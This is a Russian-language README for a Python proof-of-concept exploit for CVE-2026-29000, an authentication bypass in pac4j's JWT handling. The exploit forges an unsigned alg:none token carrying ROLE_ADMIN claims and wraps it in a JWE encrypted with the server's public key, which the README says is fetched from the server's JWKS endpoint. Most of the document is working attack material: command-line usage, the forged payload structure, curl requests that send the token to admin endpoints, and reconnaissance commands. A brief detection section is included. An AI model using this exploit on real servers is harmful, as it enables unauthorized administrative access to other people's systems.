
Python POC, эксплойт для CVE-2026-29000
Подтверждение концепции для CVE-2026-29000 — критическая уязвимость обхода аутентификации в реализации JWT pac4j, позволяющая злоумышленникам создавать поддельные административные токены без действительной подписи.
Данный инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Автор НЕ несёт ответственности за любое неправомерное использование, ущерб или незаконное применение этого эксплойта.
Эта уязвимость эксплуатирует недостаток в механизме JWT-аутентификации pac4j, при котором библиотека:
alg: "none" в заголовке JWTЗлоумышленник может создать неподписанный JWT с произвольными утверждениями (например, role: "ROLE_ADMIN"), зашифровать его в контейнер JWE с использованием открытого ключа сервера и получить несанкционированный доступ к административным функциям.
Чтобы эксплойт сработал, целевой сервер должен удовлетворять ВСЕМ следующим условиям:
Сервер должен предоставлять свои открытые ключи через одну из этих конечных точек:
/.well-known/jwks.json (стандартная конечная точка OAuth/OIDC)/api/auth/jwks (пользовательская конечная точка)Почему: Эксплойт автоматически загружает открытый ключ сервера для шифрования поддельного JWE-токена.
Сервер должен:
role в полезной нагрузке JWTROLE_ADMIN)Распространённые роли:
ROLE_ADMIN — полный административный доступROLE_USER — стандартный доступ пользователяСервер должен:
Приложение должно использовать pac4j с:
"none" или неадекватной проверкой алгоритмаrequests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
Пример:
python3 exploit.py http://vulnerable-app.local:8080
Скрипт будет:
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Если конечная точка JWKS недоступна публично, укажите JWK вручную:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
Эксплойт выводит JWE-токен в следующем формате:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Используйте токен в HTTP-запросах для доступа к защищённым конечным точкам:
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
JWT создаётся без подписи (alg: "none"), что обычно недействительно, но принимается уязвимыми серверами.
Эксплойт запрашивает:
/.well-known/jwks.json (стандарт OAuth/OIDC)/api/auth/jwks (пользовательская конечная точка)Это позволяет получить открытый RSA-ключ сервера, необходимый для шифрования.
Неподписанный JWT шифруется с использованием:
Это создаёт JWE-токен, который сервер может расшифровать, но не будет проверять внутреннюю подпись.
JWE-токен включается в заголовок Authorization:
Authorization: Bearer <JWE_TOKEN>
Уязвимый сервер расшифровывает его и извлекает неподписанный JWT, доверяя утверждениям без проверки подписи.
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
Доступность конечной точки JWKS
/.well-known/jwks.json или /api/auth/jwks публичноЖурналы проверки JWT
alg: "none"Просмотр конфигурации
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected